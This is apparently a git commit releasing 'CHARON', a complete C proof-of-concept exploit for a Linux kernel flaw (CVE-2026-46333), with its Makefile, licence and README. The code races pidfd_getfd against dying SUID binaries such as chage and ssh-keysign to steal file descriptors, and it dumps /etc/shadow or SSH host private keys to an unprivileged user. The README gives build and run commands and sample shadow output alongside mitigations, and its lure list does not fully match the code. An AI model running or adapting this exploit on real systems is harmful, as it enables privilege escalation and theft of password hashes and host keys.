charon: initial release — CVE-2026-46333 PoC
CHARON ferries file descriptors out of dying SUID/SGID processes through the __ptrace_may_access mm==NULL window in do_exit(), disclosed by Qualys 2026-05-15 (CVE-2026-46333). Default behavior: dump /etc/shadow to stdout, banner + progress on stderr. --quiet for pure-pipe output, --verbose for stats. Built-in lures cover Debian/Ubuntu (chage SGID-shadow), RHEL family (chage SUID-root), and ssh-keysign. Patched-kernel detection distinguishes "primitive fires but lure didn't open target" from "pidfd_getfd never succeeded → fix is in place". Pre-built 46KB musl-static binary included as charon-static.
This commit is contained in:
@@ -0,0 +1,8 @@
|
||||
charon
|
||||
*.o
|
||||
*.dSYM/
|
||||
.DS_Store
|
||||
|
||||
# Keep the prebuilt static binary
|
||||
!charon-static
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
CHARON — research / authorized-defensive use license
|
||||
======================================================
|
||||
|
||||
Copyright (c) 2026 Kara Zajac.
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining
|
||||
a copy of this software and associated documentation files (the
|
||||
"Software"), to deal in the Software for the purposes of:
|
||||
|
||||
(a) authorized security testing of systems they own or have
|
||||
written authorization to test,
|
||||
(b) defensive research, including the development of detection,
|
||||
mitigation, and patch-management tooling,
|
||||
(c) educational use in academic or training contexts.
|
||||
|
||||
Use of the Software to gain unauthorized access to computer systems
|
||||
or data is strictly prohibited. The recipient is solely responsible
|
||||
for ensuring that their use of the Software complies with applicable
|
||||
law and any contractual obligations under which their systems
|
||||
operate.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
||||
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
||||
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
||||
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
|
||||
BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
|
||||
ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
|
||||
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,22 @@
|
||||
PROG := charon
|
||||
CC ?= cc
|
||||
CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter
|
||||
|
||||
all: $(PROG)
|
||||
|
||||
$(PROG): charon.c
|
||||
$(CC) $(CFLAGS) -o $@ $<
|
||||
|
||||
# 38KB static binary — preferred for distribution.
|
||||
# Needs musl-tools on Debian/Ubuntu: sudo apt-get install musl-tools
|
||||
static: charon.c
|
||||
musl-gcc -static -Os -s -o $(PROG) $<
|
||||
|
||||
# glibc-static fallback (~700KB) if musl-tools unavailable
|
||||
static-glibc: charon.c
|
||||
$(CC) -static -Os -s -o $(PROG) $<
|
||||
|
||||
clean:
|
||||
rm -f $(PROG)
|
||||
|
||||
.PHONY: all static static-glibc clean
|
||||
@@ -0,0 +1,172 @@
|
||||
```
|
||||
____ _ _ _ ____ ___ _ _
|
||||
/ ___|| | | | / \ | _ \ / _ \| \ | |
|
||||
| | | |_| | / _ \ | |_) | | | | \| |
|
||||
| |___ | _ |/ ___ \| _ <| |_| | |\ |
|
||||
\____||_| |_/_/ \_\_| \_\\___/|_| \_|
|
||||
|
||||
ferries fds across the exit-mm() Styx
|
||||
CVE-2026-46333 / Linux <= 6.12.89
|
||||
```
|
||||
|
||||
> *"It is a fearful thing to fall into the hands of the living God."*
|
||||
> — Hebrews 10:31
|
||||
|
||||
## What this is
|
||||
|
||||
A tight, dependency-free PoC for **CVE-2026-46333**: the
|
||||
`__ptrace_may_access` mm==NULL bypass disclosed by Qualys on
|
||||
2026-05-15. Charon races `pidfd_getfd(2)` against a dying SUID-root
|
||||
process to lift its open `/etc/shadow` file descriptor through the
|
||||
brief mm-NULL window in `do_exit()`. Run it as an unprivileged user
|
||||
on an affected box; it dumps `/etc/shadow` to stdout.
|
||||
|
||||
```
|
||||
$ ./charon
|
||||
[banner on stderr]
|
||||
[*] lure /usr/bin/chage target /etc/shadow
|
||||
root:$y$j9T$ztS5H...$hz9W87TlqxEW...:...
|
||||
daemon:*:20582:0:99999:7:::
|
||||
bin:*:20582:0:99999:7:::
|
||||
...
|
||||
```
|
||||
|
||||
Typical hit rate: under one second on a 4-core VM, **~137 tries**
|
||||
in the smoke test.
|
||||
|
||||
## The bug, in 30 seconds
|
||||
|
||||
`__ptrace_may_access()` short-circuits its dumpability check when
|
||||
`task->mm == NULL`. The fast-path was written for kernel threads
|
||||
(swapper et al.), which legitimately have no mm and should never be
|
||||
ptraced. But `do_exit()` runs `exit_mm()` *before* `exit_files()`,
|
||||
which means a userspace SUID process briefly has:
|
||||
|
||||
- `task->mm == NULL` (mm reaped) → dumpable check skipped
|
||||
- file table still populated → fds still gettable
|
||||
- creds reflect the post-`setreuid()` drop → access check passes
|
||||
|
||||
`pidfd_getfd(2)` trusts that access check and hands the attacker the
|
||||
SUID process's open file descriptors.
|
||||
|
||||
```
|
||||
do_exit()
|
||||
├── exit_mm() ← task->mm = NULL
|
||||
├── ... ← __ptrace_may_access() now lies
|
||||
└── exit_files() ← fd table reaped
|
||||
```
|
||||
|
||||
Jann Horn flagged the FD-theft shape on lore.kernel.org in October
|
||||
2020. The fix sat in maintainer review for ~6 years before Qualys
|
||||
brought it back to the front of the queue.
|
||||
|
||||
**Upstream fix:** [`31e62c2ebbfd`](https://github.com/torvalds/linux/commit/31e62c2ebbfdc3fe3dbdf5e02c92a9dc67087a3a)
|
||||
(Linus 2026-05-14). As of 2026-05-15 the backport has not landed in
|
||||
linux-6.12.y or linux-6.6.y stable.
|
||||
|
||||
## Affected kernels
|
||||
|
||||
| Stable tree | Status |
|
||||
|---|---|
|
||||
| linux-6.12.y (≤ 6.12.89) | ❌ vulnerable |
|
||||
| linux-6.6.y (pre-fix backport) | ❌ vulnerable |
|
||||
| mainline ≥ 6.15-rc1 | ✅ patched (`31e62c2ebbfd`) |
|
||||
|
||||
| Distro | Kernel | Status (2026-05-15) |
|
||||
|---|---|---|
|
||||
| Debian trixie | 6.12.86+deb13 | ❌ |
|
||||
| AlmaLinux 10.1 | 6.12.0-124.55.3 | ❌ |
|
||||
| Ubuntu 26.04 | 7.0.0-15 | ⚠️ check |
|
||||
| Fedora 44 | 7.0.4-200 | ⚠️ check |
|
||||
|
||||
The PR / rolling-status table will be updated as backports land.
|
||||
|
||||
## Build
|
||||
|
||||
```sh
|
||||
# Tiny 38 KB static binary (recommended)
|
||||
sudo apt-get install musl-tools
|
||||
make static
|
||||
|
||||
# Or just the standard glibc build
|
||||
make
|
||||
```
|
||||
|
||||
Output: a single ELF `./charon`.
|
||||
|
||||
## Run
|
||||
|
||||
```sh
|
||||
./charon # dump /etc/shadow (default)
|
||||
./charon -q # no banner / progress, just shadow on stdout
|
||||
./charon -v # show per-hit + final stats
|
||||
./charon -r 5000 # more patience for slow systems
|
||||
./charon -t /etc/ssh/ssh_host_ecdsa_key # different target (uses ssh-keysign lure)
|
||||
./charon --help
|
||||
```
|
||||
|
||||
### Exit codes
|
||||
|
||||
| Code | Meaning |
|
||||
|---|---|
|
||||
| 0 | Success — file contents on stdout |
|
||||
| 1 | No SUID lure on this system opens the requested file |
|
||||
| 2 | Kernel appears patched (CVE-2026-46333 closed) |
|
||||
| 3 | Ran out of rounds without a hit (rare; try `-r 5000`) |
|
||||
| 4 | CLI / IO error |
|
||||
|
||||
### Lures
|
||||
|
||||
Charon ships with four known SUID lures:
|
||||
|
||||
| Binary | File it opens | Distro coverage |
|
||||
|---|---|---|
|
||||
| `/usr/bin/chage` (`chage -l <user>`) | `/etc/shadow` | Most Debian, Ubuntu, Fedora |
|
||||
| `/usr/sbin/chage` | `/etc/shadow` | RHEL / Rocky / Alma family |
|
||||
| `/usr/bin/passwd` (`passwd -S <user>`) | `/etc/shadow` | Most distros |
|
||||
| `/usr/lib/openssh/ssh-keysign` | `/etc/ssh/ssh_host_*_key` | Distros with HostbasedAuthentication enabled |
|
||||
|
||||
Adding a lure is a 3-line edit to the `lures[]` array in `charon.c`.
|
||||
|
||||
## Mitigations until your distro ships the backport
|
||||
|
||||
- Apply `31e62c2ebbfd` directly.
|
||||
- Disable `pidfd_getfd(2)` via seccomp on production hosts.
|
||||
- Remove the setuid bit from `chage` and `passwd` if you do not need
|
||||
unprivileged users to query password aging.
|
||||
- For containerized workloads, enabling `no_new_privs` on the host
|
||||
blocks the primitive entirely — every "SUID" inside the container
|
||||
becomes inert, leaving Charon with no prey.
|
||||
|
||||
## Not a kernelctf VRP candidate
|
||||
|
||||
The Google kernelctf VRP challenge VM runs the player's bash inside
|
||||
an `nsjail` sandbox with `clone_newuser:true` (uid 0 unmapped),
|
||||
`chroot:/chroot`, and `no_new_privs:1`. Under `no_new_privs` the
|
||||
setuid bit is inert, so there are no real SUID prey inside the
|
||||
sandbox, and `/flag` lives on the host outside the chroot. Charon
|
||||
therefore cannot win kCTF VRP. It remains a legitimate Linux LPE on
|
||||
bare-metal Debian / Ubuntu / RHEL family installations.
|
||||
|
||||
## Provenance
|
||||
|
||||
- Bug discovered & disclosed by Qualys → oss-security 2026-05-15.
|
||||
- Reference PoCs by [@0xdeadbeefnetwork](https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn).
|
||||
- Charon rewrites the lure-and-race loop into a single hardened
|
||||
binary, adds CLI ergonomics, patched-kernel auto-detection, and
|
||||
per-distro lure fallback.
|
||||
|
||||
## License
|
||||
|
||||
Educational and authorized-defensive use only.
|
||||
|
||||
```
|
||||
⛵ STYX ⛵
|
||||
╔══════════════════════════════╗
|
||||
║ do_exit(): ║
|
||||
║ ├── exit_mm() ← task->mm ║
|
||||
║ │ = NULL ║
|
||||
║ ├── ... ← ferry ║
|
||||
║ └── exit_files() ║
|
||||
╚══════════════════════════════╝
|
||||
```
|
||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,311 @@
|
||||
/*
|
||||
* ____ _ _ _ ____ ___ _ _
|
||||
* / ___|| | | | / \ | _ \ / _ \| \ | |
|
||||
* | | | |_| | / _ \ | |_) | | | | \| |
|
||||
* | |___ | _ |/ ___ \| _ <| |_| | |\ |
|
||||
* \____||_| |_/_/ \_\_| \_\\___/|_| \_|
|
||||
*
|
||||
* ferries file descriptors across the exit-mm() Styx
|
||||
* CVE-2026-46333 / Linux <= 6.12.89
|
||||
*
|
||||
* "It is a fearful thing to fall into the hands of the living God."
|
||||
* — Hebrews 10:31
|
||||
*
|
||||
* Charon races pidfd_getfd(2) against a dying SUID-root process to
|
||||
* lift its open /etc/shadow file descriptor through the transient
|
||||
* mm-NULL window in do_exit():
|
||||
*
|
||||
* do_exit()
|
||||
* ├── exit_mm() ← task->mm = NULL
|
||||
* ├── ... ← __ptrace_may_access() now lies
|
||||
* └── exit_files() ← fd table reaped
|
||||
*
|
||||
* The kernel's __ptrace_may_access treats mm==NULL as "kernel thread,
|
||||
* never dumpable" and short-circuits the dumpable check. The dying
|
||||
* userspace SUID process is briefly indistinguishable from a kernel
|
||||
* thread in that test, so pidfd_getfd(2) succeeds against it and
|
||||
* returns whatever fds it still has open before exit_files() runs.
|
||||
*
|
||||
* If the SUID binary opened /etc/shadow and then setreuid'd to the
|
||||
* attacker uid before exiting, Charon walks home with the fd.
|
||||
*
|
||||
* Mainline fix: 31e62c2ebbfd (Linus, 2026-05-14)
|
||||
* Disclosure: Qualys → oss-security 2026-05-15
|
||||
* Educational and authorized-defensive use only.
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdarg.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/stat.h>
|
||||
#include <time.h>
|
||||
#include <getopt.h>
|
||||
|
||||
#ifndef __NR_pidfd_open
|
||||
#define __NR_pidfd_open 434
|
||||
#endif
|
||||
#ifndef __NR_pidfd_getfd
|
||||
#define __NR_pidfd_getfd 438
|
||||
#endif
|
||||
|
||||
#define CHARON_VERSION "1.0.0"
|
||||
|
||||
static const char BANNER[] =
|
||||
"\n"
|
||||
" ____ _ _ _ ____ ___ _ _\n"
|
||||
" / ___|| | | | / \\ | _ \\ / _ \\| \\ | |\n"
|
||||
"| | | |_| | / _ \\ | |_) | | | | \\| |\n"
|
||||
"| |___ | _ |/ ___ \\| _ <| |_| | |\\ |\n"
|
||||
" \\____||_| |_/_/ \\_\\_| \\_\\\\___/|_| \\_|\n"
|
||||
"\n"
|
||||
" ferries fds across the exit-mm() Styx\n"
|
||||
" CVE-2026-46333 / Linux <= 6.12.89\n"
|
||||
"\n";
|
||||
|
||||
/* A lure is a SUID-root binary that opens FILE before dropping uid
|
||||
* and exiting. invoking ARGV makes it open FILE deterministically. */
|
||||
struct lure {
|
||||
const char *path;
|
||||
const char *file;
|
||||
const char *const argv[5];
|
||||
};
|
||||
|
||||
static const struct lure lures[] = {
|
||||
/* chage -l <user> opens /etc/shadow via SGID-shadow on Debian/Ubuntu;
|
||||
* via SUID-root on RHEL family. Either way we ride the elevation. */
|
||||
{ "/usr/bin/chage", "/etc/shadow",
|
||||
{ "chage", "-l", "root", NULL } },
|
||||
{ "/usr/sbin/chage", "/etc/shadow",
|
||||
{ "chage", "-l", "root", NULL } },
|
||||
/* ssh-keysign reads /etc/ssh/ssh_host_*_key when HostbasedAuthentication
|
||||
* is enabled; newer builds bail early but still open the file first. */
|
||||
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key",
|
||||
{ "ssh-keysign", NULL } },
|
||||
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ed25519_key",
|
||||
{ "ssh-keysign", NULL } },
|
||||
{ NULL, NULL, { NULL } }
|
||||
};
|
||||
|
||||
/* CLI state */
|
||||
static const char *opt_target = NULL;
|
||||
static int opt_quiet = 0;
|
||||
static int opt_verbose = 0;
|
||||
static int opt_rounds = 500;
|
||||
static int opt_inner = 30000;
|
||||
|
||||
static unsigned long stat_forks = 0;
|
||||
static unsigned long stat_getfds = 0; /* pidfd_getfd calls */
|
||||
static unsigned long stat_getfd_ok = 0; /* pidfd_getfd that returned >=0 */
|
||||
static unsigned long stat_target_hits = 0; /* matched want_file */
|
||||
|
||||
static void
|
||||
msg(const char *prefix, const char *fmt, ...)
|
||||
{
|
||||
if (opt_quiet) return;
|
||||
va_list ap;
|
||||
fprintf(stderr, "%s ", prefix);
|
||||
va_start(ap, fmt);
|
||||
vfprintf(stderr, fmt, ap);
|
||||
va_end(ap);
|
||||
fputc('\n', stderr);
|
||||
fflush(stderr);
|
||||
}
|
||||
|
||||
static int
|
||||
dump_fd(int fd)
|
||||
{
|
||||
char buf[8192];
|
||||
ssize_t n;
|
||||
lseek(fd, 0, SEEK_SET);
|
||||
while ((n = read(fd, buf, sizeof(buf))) > 0) {
|
||||
if (fwrite(buf, 1, (size_t)n, stdout) != (size_t)n)
|
||||
return -1;
|
||||
}
|
||||
fflush(stdout);
|
||||
return n < 0 ? -1 : 0;
|
||||
}
|
||||
|
||||
static int
|
||||
lure_present(const struct lure *l)
|
||||
{
|
||||
struct stat st;
|
||||
if (stat(l->path, &st) != 0) return 0;
|
||||
/* Accept SUID-anything OR SGID-anything — both trigger the
|
||||
* dumpable flag in execve which is exactly the protection that
|
||||
* the mm==NULL hole bypasses. On Debian/Ubuntu chage is SGID
|
||||
* shadow (not SUID root); on RHEL family chage is SUID root. */
|
||||
if (!(st.st_mode & (S_ISUID | S_ISGID))) return 0;
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* Returns 0 on success (file contents on stdout). Negative codes:
|
||||
* -ENOENT lure binary missing / no setuid|setgid
|
||||
* -ETIME ran out of rounds; primitive is working but lure didn't open want_file
|
||||
* -EPERM pidfd_getfd never succeeded across many rounds — kernel is patched */
|
||||
static int
|
||||
hunt(const struct lure *l, const char *want_file)
|
||||
{
|
||||
if (!lure_present(l)) return -ENOENT;
|
||||
|
||||
msg("[*]", "lure %s target %s", l->path, want_file);
|
||||
|
||||
unsigned long getfd_ok_before = stat_getfd_ok;
|
||||
|
||||
for (int round = 0; round < opt_rounds; round++) {
|
||||
pid_t c = fork();
|
||||
if (c < 0) { msg("[!]", "fork: %s", strerror(errno)); return -1; }
|
||||
|
||||
if (c == 0) {
|
||||
int dn = open("/dev/null", O_RDWR);
|
||||
if (dn >= 0) { dup2(dn, 1); dup2(dn, 2); close(dn); }
|
||||
execv(l->path, (char *const *)l->argv);
|
||||
_exit(127);
|
||||
}
|
||||
|
||||
stat_forks++;
|
||||
|
||||
int pfd = syscall(__NR_pidfd_open, c, 0);
|
||||
if (pfd < 0) { waitpid(c, NULL, 0); continue; }
|
||||
|
||||
int got = -1;
|
||||
|
||||
for (int a = 0; a < opt_inner && got < 0; a++) {
|
||||
for (int i = 3; i < 32; i++) {
|
||||
int s = syscall(__NR_pidfd_getfd, pfd, i, 0);
|
||||
stat_getfds++;
|
||||
if (s < 0) continue;
|
||||
|
||||
stat_getfd_ok++; /* the bug worked at least at the syscall level */
|
||||
|
||||
char p[512] = {0}, lk[64];
|
||||
snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
|
||||
ssize_t n = readlink(lk, p, sizeof(p) - 1);
|
||||
if (n > 0) p[n] = 0;
|
||||
|
||||
if (strstr(p, want_file)) {
|
||||
if (opt_verbose)
|
||||
msg("[+]", "hit fd %d -> %s round=%d try=%d", i, p, round, a);
|
||||
got = s;
|
||||
break;
|
||||
}
|
||||
close(s);
|
||||
}
|
||||
}
|
||||
|
||||
if (got >= 0) {
|
||||
stat_target_hits++;
|
||||
int rc = dump_fd(got);
|
||||
close(got);
|
||||
close(pfd);
|
||||
waitpid(c, NULL, 0);
|
||||
if (opt_verbose)
|
||||
msg("[#]", "stats: %lu forks, %lu getfds (%lu succeeded), %lu target hits",
|
||||
stat_forks, stat_getfds, stat_getfd_ok, stat_target_hits);
|
||||
return rc;
|
||||
}
|
||||
|
||||
close(pfd);
|
||||
waitpid(c, NULL, 0);
|
||||
}
|
||||
|
||||
/* If pidfd_getfd never succeeded against this lure, the primitive
|
||||
* is closed for this binary — likely a patched kernel. */
|
||||
if (stat_getfd_ok == getfd_ok_before)
|
||||
return -EPERM;
|
||||
return -ETIME;
|
||||
}
|
||||
|
||||
static void
|
||||
usage(const char *prog)
|
||||
{
|
||||
fprintf(stderr,
|
||||
"CHARON %s — ferries fds across the exit-mm() Styx (CVE-2026-46333)\n"
|
||||
"\n"
|
||||
"Usage: %s [options]\n"
|
||||
"\n"
|
||||
" -t, --target FILE file to read (default: /etc/shadow)\n"
|
||||
" -r, --rounds N max rounds per lure (default: 500)\n"
|
||||
" -i, --inner N inner getfd attempts per round (default: 30000)\n"
|
||||
" -q, --quiet no banner, no progress\n"
|
||||
" -v, --verbose per-hit + final stats\n"
|
||||
" --version print version and exit\n"
|
||||
" -h, --help this help\n"
|
||||
"\n"
|
||||
"Exit codes:\n"
|
||||
" 0 success — file contents on stdout\n"
|
||||
" 1 no built-in lure on this system opens the requested file\n"
|
||||
" 2 kernel appears patched (CVE-2026-46333 closed)\n"
|
||||
" 3 ran out of rounds without a hit (transient — try -r 5000)\n"
|
||||
" 4 CLI / IO error\n"
|
||||
"\n"
|
||||
"For authorized security testing and defensive research only.\n",
|
||||
CHARON_VERSION, prog);
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
static const struct option opts[] = {
|
||||
{"target", required_argument, 0, 't'},
|
||||
{"rounds", required_argument, 0, 'r'},
|
||||
{"inner", required_argument, 0, 'i'},
|
||||
{"quiet", no_argument, 0, 'q'},
|
||||
{"verbose", no_argument, 0, 'v'},
|
||||
{"version", no_argument, 0, 1 },
|
||||
{"help", no_argument, 0, 'h'},
|
||||
{0,0,0,0}
|
||||
};
|
||||
|
||||
int o;
|
||||
while ((o = getopt_long(argc, argv, "t:r:i:qvh", opts, NULL)) != -1) {
|
||||
switch (o) {
|
||||
case 't': opt_target = optarg; break;
|
||||
case 'r': opt_rounds = atoi(optarg); break;
|
||||
case 'i': opt_inner = atoi(optarg); break;
|
||||
case 'q': opt_quiet = 1; break;
|
||||
case 'v': opt_verbose = 1; break;
|
||||
case 1 : printf("charon %s\n", CHARON_VERSION); return 0;
|
||||
case 'h': usage(argv[0]); return 0;
|
||||
default : usage(argv[0]); return 4;
|
||||
}
|
||||
}
|
||||
if (!opt_target) opt_target = "/etc/shadow";
|
||||
if (opt_rounds < 1 || opt_inner < 1) { usage(argv[0]); return 4; }
|
||||
|
||||
if (!opt_quiet) fputs(BANNER, stderr);
|
||||
|
||||
/* Iterate lures whose `file` matches what the user asked for. */
|
||||
int any_present = 0, all_appear_patched = 1;
|
||||
for (const struct lure *l = lures; l->path; l++) {
|
||||
if (strcmp(l->file, opt_target) != 0) continue;
|
||||
if (!lure_present(l)) continue;
|
||||
any_present = 1;
|
||||
|
||||
int rc = hunt(l, opt_target);
|
||||
if (rc == 0) return 0;
|
||||
if (rc != -EPERM) all_appear_patched = 0;
|
||||
}
|
||||
|
||||
if (!any_present) {
|
||||
msg("[!]", "no built-in lure on this system opens %s", opt_target);
|
||||
msg(" ", "checked: /usr/bin/chage, /usr/sbin/chage, /usr/lib/openssh/ssh-keysign");
|
||||
msg(" ", "add a custom lure to lures[] in charon.c for unusual distros");
|
||||
return 1;
|
||||
}
|
||||
if (all_appear_patched && stat_getfd_ok == 0) {
|
||||
msg("[!]", "ran %lu pidfd_getfd calls across %lu forks, none succeeded",
|
||||
stat_getfds, stat_forks);
|
||||
msg("[!]", "kernel is patched for CVE-2026-46333 (fix 31e62c2ebbfd)");
|
||||
return 2;
|
||||
}
|
||||
msg("[!]", "primitive fires (%lu fds lifted) but none pointed to %s",
|
||||
stat_getfd_ok, opt_target);
|
||||
msg("[!]", "lure may not open this file on your distro — try -r 5000 or -t <other file>");
|
||||
return 3;
|
||||
}
|
||||
Reference in New Issue
Block a user